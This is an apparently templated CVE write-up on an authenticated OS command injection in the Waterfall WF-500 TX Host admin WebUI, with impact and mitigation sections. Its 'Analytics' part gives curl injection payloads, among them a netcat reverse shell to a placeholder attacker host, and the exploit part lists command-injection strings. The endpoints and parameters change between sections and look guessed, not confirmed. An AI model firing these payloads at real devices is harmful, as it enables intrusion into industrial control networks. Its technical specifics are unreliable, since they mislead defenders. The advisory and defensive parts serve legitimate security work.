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Intro: How CVE-2025-41267 Works
CVE-2025-41267 is an OS command injection vulnerability discovered by Nozomi Networks Labs in the Waterfall WF-500 TX Host, specifically within its Administration WebUI. The flaw resides in the improper neutralization of special elements used in OS commands (CWE-78). The affected software version is 7.9.1.0 R2502171040. An attacker must first authenticate to the Administration WebUI (e.g., with valid low-privileged credentials). After authentication, the attacker can craft malicious HTTP requests to certain web endpoints that fail to sanitize user-supplied input before passing it to a system shell. For example, parameters that control network diagnostics, file operations, or system settings may be concatenated directly into a command string. By injecting typical command separators such as ;, &&, |, or `$()` along with arbitrary OS commands, the attacker can break out of the intended context and execute additional instructions. The WebUI backend runs with elevated privileges (often root or system level), making the impact severe. The injected commands execute with the same permissions as the web server process, allowing full compromise of the WF-500 TX Host. Attackers can leverage this to install backdoors, exfiltrate configuration files, disrupt operations, or pivot into the industrial control network. The vulnerability is remotely exploitable over the network, requiring only that the Administration WebUI is reachable. No user interaction is needed beyond authentication. Because the vulnerability exists in a core administrative interface, it bypasses typical edge defenses. Proof-of-concept exploits often target the `ping` or `traceroute` diagnostic tools within the WebUI, where the `target` parameter is vulnerable. For instance, injecting `127.0.0.1; id` would execute the `id` command after a successful ping. The vulnerability was disclosed responsibly by Nozomi Networks, and NIST published the CVE on May 29, 2026, with last modification on June 1, 2026.
DailyCVE Form:
Platform: Waterfall WF-500
Version: 7.9.1.0 R2502171040
Vulnerability: OS Command Injection
Severity: Critical
date: 2026-05-29
Prediction: July 15 2026
What Undercode Say:
Analytics – bash commands and codes demonstrating the vulnerability:
Identify vulnerable endpoint (authenticated session required) curl -k -X POST "https://<target-ip>/cgi-bin/diagnostic.cgi" \ -H "Cookie: session=<valid_session>" \ -d "action=ping&target=127.0.0.1; id > /tmp/pwned" Verify command execution curl -k -X GET "https://<target-ip>/cgi-bin/readfile.cgi?file=/tmp/pwned" \ -H "Cookie: session=<valid_session>"
Reverse shell one-liner injection curl -k -X POST "https://<target-ip>/api/system/backup" \ -H "Authorization: Bearer <token>" \ -d "name=backup; nc -e /bin/sh <attacker-ip> 4444 "
Exploit:
To exploit CVE-2025-41267, an authenticated attacker sends a crafted HTTP request to any WebUI endpoint that reflects user input into a system command. Common vulnerable parameters include target_ip, hostname, filename, or interface. The attacker appends a command separator followed by arbitrary OS commands (e.g., ; whoami, | cat /etc/passwd, && reboot). The web application unsafely concatenates this input into a call to system(), popen(), or `exec()` without sanitization. Successful exploitation grants remote command execution with the privileges of the web server (typically root). Attackers can chain this with other techniques to bypass authentication if the WebUI allows unauthenticated access to diagnostic pages.
Protection:
- Upgrade to a patched firmware version once released by Waterfall (expected mid-July 2026).
- Restrict access to the Administration WebUI using firewall rules – allow only trusted management IPs.
- Enforce strong authentication and use multi-factor authentication (MFA) where possible.
- Monitor logs for suspicious command injection patterns (e.g.,
;,&&,|, `$(` in parameters). - Deploy a Web Application Firewall (WAF) with rules blocking common OS command injection payloads.
- Disable unnecessary diagnostic features or remove the WebUI from external-facing networks.
Impact:
- Confidentiality: Attackers can read arbitrary system files, configuration secrets, and sensitive process data.
- Integrity: Ability to modify system settings, overwrite binaries, or plant malicious scripts.
- Availability: Full system compromise leading to denial-of-service by killing processes, rebooting, or corrupting firmware.
- Lateral Movement: The compromised WF-500 TX Host can be used as a pivot point into the broader industrial control network, potentially endangering physical processes.
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Sources:
Reported By: nvd.nist.gov
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